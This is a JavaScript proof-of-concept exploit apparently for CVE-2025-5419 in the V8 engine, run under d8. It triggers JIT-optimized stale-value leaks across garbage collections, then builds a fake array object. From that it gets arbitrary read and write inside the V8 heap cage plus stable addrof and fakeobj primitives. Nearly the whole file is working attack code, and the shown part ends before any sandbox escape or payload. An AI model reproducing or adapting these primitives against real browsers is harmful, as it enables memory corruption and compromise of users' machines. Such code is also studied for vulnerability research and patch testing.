// Commit: 609a85c2a1bd77d6f6905369f4bc4fcf34c5db09, 135.0.7049.52 // out/StaticReleaseWithSymbol/d8 --allow-natives-syntax --trace-opt --trace-deopt --trace-gc CVE-2025-5419.js const ab = new ArrayBuffer(8); const f64a = new Float64Array(ab, 0, 1); const i32a = new Uint32Array(ab, 0, 2); const bi64a = new BigUint64Array(ab, 0, 1); function c2f(low, high = 0) { // combined (two 4 bytes) word to float i32a[0] = low; i32a[1] = high; return f64a[0]; } function b2f(v) { // bigint to float bi64a[0] = v; return f64a[0]; } function f2b(v) { // float to bigint f64a[0] = v; return bi64a[0]; } function fhw(v) { // high word of float f64a[0] = v; return i32a[1]; } function flw(v) { // low word of float f64a[0] = v; return i32a[0]; } function bhw(v) { // high word of bigint bi64a[0] = v; return i32a[1]; } function blw(v) { // low word of bigint bi64a[0] = v; return i32a[0]; } function unptr(v) { return v & 0xfffffffe; } function ptr(v) { return v | 1; } function smi(v) { return v << 1; } function minor_gc() { // scavenge let arr = new Array(0x10000); for(let i = 0; i < arr.length; i++) { arr[i] = new String(""); } } function major_gc() { // mark-sweep new ArrayBuffer(0x7fe00000); } // This object will survive across gc runs. const faked_object_container = [0.0, 1.1, 2.2, 3.3]; function opt_leak(i) { let arr = [0, 1, 2, 3, 4, 5, 6, 7, 8]; [arr[i + 0], arr[i + 1], arr[i + 2], arr[i + 3], arr[i + 4], arr[i + 5], arr[i + 6], arr[i + 7], arr[i + 8]]; arr = [0.0, 1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8]; arr[0] = arr[i + 0]; arr[1] = arr[i + 1]; arr[2] = arr[i + 2]; arr[3] = arr[i + 3]; arr[4] = arr[i + 4]; arr[5] = arr[i + 5]; arr[6] = arr[i + 6]; arr[7] = arr[i + 7]; arr[8] = arr[i + 8]; return [arr[0], arr[1], arr[2], arr[3], arr[4], arr[5], arr[6], arr[7], arr[8]]; } const PACKED_ELEMENTS_trigger_obj = {}; function opt_fake_obj(i) { let arr = [1, 2, 3]; arr[i]; arr = [1, 2, PACKED_ELEMENTS_trigger_obj]; arr[0] = arr[i]; return arr[0]; } // %PrepareFunctionForOptimization(opt_leak); // opt_leak(0); // %OptimizeFunctionOnNextCall(opt_leak); // opt_leak(0); for (let i = 0; i < 100000; i++) { opt_leak(0); } // %PrepareFunctionForOptimization(opt_fake_obj); // opt_fake_obj(0); // %OptimizeFunctionOnNextCall(opt_fake_obj); // opt_fake_obj(0); for (let i = 0; i < 100000; i++) { opt_fake_obj(0); } function leak(obj) { minor_gc(); major_gc(); let objArr = [obj, 0x1234]; // PACKED_ELEMENTS let dblArr = [1.1]; // PACKED_DOUBLE_ELEMENTS let objArr2 = [obj, 0x5678]; // %DebugPrint(objArr); // %DebugPrint(dblArr); // %DebugPrint(objArr2); objArr = null; dblArr = null; objArr2 = null; minor_gc(); major_gc(); let result = opt_leak(0); // %DebugPrint(result); // console.log("opt_leak: " + result.map((v) => {return f2b(v).toString(16).padStart(16, "0");})); // [ // 0: Smi(0x1234) | addrof(PACKED_ELEMENTS_trigger_obj), // 1: FixedArray[0] | PACKED_ELEMENTS_Map, // 2: objArr.length | objArr.elements, // 3: dblArr.elements.length | FixedDoubleArray_Map, // 4: IEEE754(1.1), // 5: FixedArray[0] | PACKED_DOUBLE_ELEMENTS_Map, // 6: dblArr.length | dblArr.elements, // 7: objArr2.elements.length | FixedArray_Map, // 8: Smi(0x5678) | addrof(PACKED_ELEMENTS_trigger_obj), // ] if (fhw(result[0]) != smi(0x1234) || Math.abs(result[4] - 1.1) > 1e-5 || fhw(result[8]) != smi(0x5678) || flw(result[0] != flw(result[8]))) { throw new Error("leak: Unexpected GC behaviour"); } return [result, flw(result[0])]; } // Test Unstable AddressOf // let [leaks, addr] = leak(PACKED_ELEMENTS_trigger_obj); // console.log(addr.toString(16)); // %DebugPrint(PACKED_ELEMENTS_trigger_obj); function _fake(addr) { minor_gc(); major_gc(); let dblArr = [addr, 1.1]; // PACKED_DOUBLE_ELEMENTS // %DebugPrint(objArr); dblArr = null; minor_gc(); major_gc(); let result = opt_fake_obj(0); return result; } function fake(addr) { return _fake(c2f(addr, 0)); } // Test Unstable FakeObject // let faked_obj = fake(0xdeadbeef); // %DebugPrint(faked_obj); let [leak_values, faked_object_container_addr] = leak(faked_object_container); const PACKED_ELEMENTS_Map = flw(leak_values[1]); const PACKED_DOUBLE_ELEMENTS_Map = flw(leak_values[5]); const FixedArray_Map = flw(leak_values[7]); const FixedDoubleArray_Map = flw(leak_values[3]); const EmptyFixedArray = fhw(leak_values[1]); // Fake an JSArray with PACKED_DOUBLE_ELEMENTS elementsKind const faked_array_length = 0x1000_0000; faked_object_container[0] = c2f(PACKED_DOUBLE_ELEMENTS_Map, EmptyFixedArray); // map, properties faked_object_container[1] = c2f(EmptyFixedArray, smi(faked_array_length)); // elements, length // %DebugPrint(faked_object_container); const faked_object_container_elements_values_to_itself_offset = 0x168 + 0x8; let faked_arr_addr = faked_object_container_addr + faked_object_container_elements_values_to_itself_offset; // [!] `faked_arr` is a faked reference! Remember to clear it before next GC! let faked_arr = fake(faked_arr_addr); // %DebugPrint(faked_object_container); // %DebugPrint(faked_arr); if (faked_arr.length != faked_array_length) { throw new Error("Array faking failed!"); } // The following primitives are hopefully functional under the condition that more GC won't cause `faked_arr`'s movement. const MinimiumModifiableCageAddress = EmptyFixedArray - 0x1 + 0x8; function _switch_to_PACKED_DOUBLE_ELEMENTS_Map() { faked_object_container[0] = c2f(PACKED_DOUBLE_ELEMENTS_Map, EmptyFixedArray); } function _switch_to_PACKED_ELEMENTS_Map() { faked_object_container[0] = c2f(PACKED_ELEMENTS_Map, EmptyFixedArray); } function _cage_address_difference_is_QWORD_aligned(addr) { return !((addr - MinimiumModifiableCageAddress) & 7); } function _cage_read64(addr) { // (number) -> float if (addr < MinimiumModifiableCageAddress) throw new Error("addr must after EmptyFixedArray.objects!"); if (!_cage_address_difference_is_QWORD_aligned(addr)) throw new Error("difference must be QWORD aligned!"); let difference = addr - MinimiumModifiableCageAddress; let index = difference >> 3; return faked_arr[index]; } function _cage_write64(addr, value) { // (number, float) -> void if (addr < MinimiumModifiableCageAddress) throw new Error("addr must after EmptyFixedArray.objects!"); if (!_cage_address_difference_is_QWORD_aligned(addr)) throw new Error("difference must be QWORD aligned!"); let difference = addr - MinimiumModifiableCageAddress; let index = difference >> 3; faked_arr[index] = value; } function cage_read32(addr) { // (number) -> (number) if (addr & 3) throw new Error("addr must be DWORD aligned!"); let isLowDWORD = _cage_address_difference_is_QWORD_aligned(addr); if (!isLowDWORD) addr -= 0x4; let QWORD_result = _cage_read64(addr); return isLowDWORD ? flw(QWORD_result): fhw(QWORD_result); } function cage_read64(addr) { // (number) -> bigint if (_cage_address_difference_is_QWORD_aligned(addr)) { return f2b(_cage_read64(addr)); } return f2b(c2f(cage_read32(addr), cage_read32(addr + 0x4))); } function cage_write32(addr, value) { // (number, number) -> void if (addr & 3) throw new Error("addr must be DWORD aligned!"); let isLowDWORD = _cage_address_difference_is_QWORD_aligned(addr); if (!isLowDWORD) addr -= 0x4; let QWORD_result = _cage_read64(addr); if (isLowDWORD) _cage_write64(addr, c2f(value, fhw(QWORD_result))); else _cage_write64(addr, c2f(flw(QWORD_result), value)); } function cage_write64(addr, value) { // (number, bigint) -> void if (_cage_address_difference_is_QWORD_aligned(addr)) { _cage_write64(addr, b2f(value)); return; } cage_write32(addr, blw(value)); cage_write32(addr + 0x4, bhw(value)); } // Validate the correctness of cage_read32 if (cage_read32(unptr(faked_arr_addr)) != PACKED_DOUBLE_ELEMENTS_Map) { throw new Error("cage_read32 validation failed!"); } let faked_arr_elements_addr = faked_arr_addr + 0x10; function addrof(obj) { const difference = faked_arr_elements_addr - 0x1 - MinimiumModifiableCageAddress; _switch_to_PACKED_ELEMENTS_Map(); faked_arr[difference >> 2] = obj; _switch_to_PACKED_DOUBLE_ELEMENTS_Map(); return flw(faked_object_container[2]); } // Test Stable AddressOf // let obj = {}; // %DebugPrint(obj); // console.log(addrof(obj).toString(16)); function fakeobj(addr) { const difference = faked_arr_elements_addr - 0x1 - MinimiumModifiableCageAddress; faked_object_container[2] = c2f(addr); _switch_to_PACKED_ELEMENTS_Map(); let obj = faked_arr[difference >> 2]; _switch_to_PACKED_DOUBLE_ELEMENTS_Map(); return obj; } // Test Stable FakeObject // let faked_obj = fakeobj(0xdeadbeef); // %DebugPrint(faked_obj);